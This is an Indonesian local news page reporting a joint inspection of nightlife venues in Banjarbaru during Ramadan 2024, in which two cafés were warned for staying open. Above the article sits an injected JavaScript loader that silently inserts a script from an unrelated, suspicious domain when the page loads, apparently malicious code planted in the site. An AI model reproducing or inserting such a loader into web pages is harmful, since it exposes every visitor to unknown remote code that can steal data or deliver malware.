(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dapati Kafe dan Biliar Buka Malam Ramadan di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Monitoring sejumlah Tempat Hiburan Malam (THM) di Kota Banjarbaru dilakukan tim gabungan, Senin (25/3/2024) malam.

Ada 10 THM yang didatangi oleh pegawai Dinas Pemuda Olahraga Kebudayaan dan Pariwisata (Disporabudpar) Banjarbaru bersama Satpol PP Banjarbaru.

Delapan tempat yang didatangi di antaranya terpantau menaati imbauan menutup operasional tempatnya di bulan Ramadan.

Sementara dua tempat lain, ditertibkan oleh petugas gabungan karena didapati beroperasi pada malam bulan Ramadan.

Baca juga: Wapres KH Ma’ruf Amin Dijadwalkan Hadiri Haul ke-218 Datu Kelampayan di Dalam Pagar

Kabid Pariwisata Disporabudpar Banjarbaru, Pretty Wulansari menyebutkan, dua tempat tersebut ialah kafe di dekat SPN Sungai Ulin Banjarbaru yang membuka live musik dan kafe billiard di Jalan Trikora.

“Kita menemukan ada dua tempat yang melanggar Perwali tersebut. Pertama ada kafe yang membuka live musik, kedua ada kafe billiar yang tetap buka pada bulan Ramadan,” ungkap Pretty Wulansari, Selasa (26/3/2024) dini hari.

Kabid Pariwisata Disporabudpar Banjarbaru, Pretty Wulansari. Foto: wanda

Dia mengatakan dua tempat itu terbukti melanggar Perda Ramadan Kota Banjarbaru.

Baca juga: Posko Angkutan Lebaran 2024 Pelabuhan Trisakti Dibuka, Lima Kapal Penumpang Siap Beroperasi

“Aturan yang dimaksud ialah, Peraturan Wali Kota Banjarbaru Nomor 80 Tahun 2016, Tentang Pengaturan Izin Usaha Hiburan Umum, Rekreasi dan Olahraga,” sebut dia.

Sesuai bunyi pasal 20 pada BAB IX Perwali tersebut, sebutnya, pemegang izin usaha hiburan umum, rekreasi dan olahraga diwajibkan menutup kegiatan usaha pada hari-hari besar keagamaan.

Mendapati pelanggaran tersebut, petugas gabungan pun memberikan surat peringatan kepada pengelola THM tersebut.

“Lalu kita berikan surat peringatan kepada mereka yang melanggar itu,” jelas dia.

Sedangkan di tempat kedua, Pretty mengatakan bahwa pengelola kafe biliar sempat berdalih hanya membuka tempat usahanya untuk permainan pribada semata.

Baca juga: Lapak Jasa Penukaran Uang Pinggir Jalan di Banjarmasin, Hadir saat Ada Layanan Resmi Perbankan

“Yang mana mereka berdalih buka untuk permainan biasa tanpa memungut biaya,” katanya.

Kendati demikian, dirinya menegaskan tetap memberikan surat peringatan dan himbuan agar pelaku usaha THM tersebut tidak buka lagi hingga akhir bulan Ramadan

“Kita tetap mengimbau melalui surat peringatan agar tidak buka lagi,” tuntasnya menutup. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

6 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

7 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

7 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

8 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

8 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

10 jam ago

This website uses cookies.